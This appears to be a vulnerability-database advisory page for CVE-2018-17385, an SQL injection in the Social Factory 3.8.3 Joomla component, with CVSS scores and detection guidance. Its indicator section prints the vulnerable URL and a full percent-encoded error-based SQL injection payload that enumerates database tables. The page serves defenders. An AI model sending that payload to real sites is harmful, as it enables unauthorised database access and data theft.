CVE-2018-17385

published 2018-09-28

CVE-2018-17385: SQL Injection exists in the Social Factory 3.8.3 component for Joomla! via the radius[lat], radius[lng], or radius[radius] parameter.

Priority P2 64 critical 9.8 CVSS 3.0

AV N AC L PR N UI N S U C H I H A H

EXPLOIT

SQL Injection exists in the Social Factory 3.8.3 component for Joomla! via the radius[lat], radius[lng], or radius[radius] parameter.

Affected

1 ranges

Vendor	Product	Version range	Fixed in
thephpfactory	social_factory	—	—

Detection & IOCs extracted from sources · hover to see the quote

url http://localhost/[PATH]/socialfactory-events/socialfactory-events-radius-search?option=com_socialfactory&view=page&task=page.display&radius[lat]=[SQL]&radius[lng]=[SQL]&radius[radius]=[SQL]↗

command %20%41%4e%44%28%53%45%4c%45%43%54%20%31%20%46%52%4f%4d%20%28%53%45%4c%45%43%54%20%43%4f%55%4e%54%28%2a%29%2c%43%4f%4e%43%41%54%28%28%53%45%4c%45%43%54%28%53%45%4c%45%43%54%20%43%4f%4e%43%41%54%28%43%41%53%54%28%44%41%54%41%42%41%53%45%28%29%20%41%53%20%43%48%41%52%29%2c%30%78%37%65%29%29%20%46%52%4f%4d%20%49%4e%46%4f%52%4d%41%54%49%4f%4e%5f%53%43%48%45%4d%41%2e%54%41%42%4c%45%53%20%57%48%45%52%45%20%74%61%62%6c%65%5f%73%63%68%65%6d%61%3d%44%41%54%41%42%41%53%45%28%29%20%4c%49%4d%49%54%20%30%2c%31%29%2c%46%4c%4f%4f%52%28%52%41%4e%44%28%30%29%2a%32%29%29%78%20%46%52%4f%4d%20%49%4e%46%4f%52%4d%41%54%49%4f%4e%5f%53%43%48%45%4d%41%2e%54%41%42%4c%45%53%20%47%52%4f%55%50%20%42%59%20%78%29%61%29↗

path /socialfactory-events/socialfactory-events-radius-search↗

• → Monitor HTTP requests to the com_socialfactory Joomla component endpoint for SQL injection payloads in the radius[lat], radius[lng], or radius[radius] GET parameters. ↗
• → Look for requests containing the query string parameters option=com_socialfactory&view=page&task=page.display combined with radius[] array parameters carrying URL-encoded SQL payloads. ↗
• → The URL-encoded SQL payload decodes to a UNION/AND-based error injection using INFORMATION_SCHEMA.TABLES to enumerate the database; detect percent-encoded SQL keywords (%53%45%4c%45%43%54, %46%52%4f%4d, %49%4e%46%4f%52%4d%41%54%49%4f%4e) in the radius[] parameters. ↗

• · The exploit path uses [PATH] as a placeholder; the actual Joomla installation subdirectory will vary per deployment. Detections must account for variable base paths. ↗

CVSS provenance

nvd v3.0 9.8 CRITICAL CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

nvd v2.0 7.5 HIGH AV:N/AC:L/Au:N/C:P/I:P/A:P

CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.

CWE-89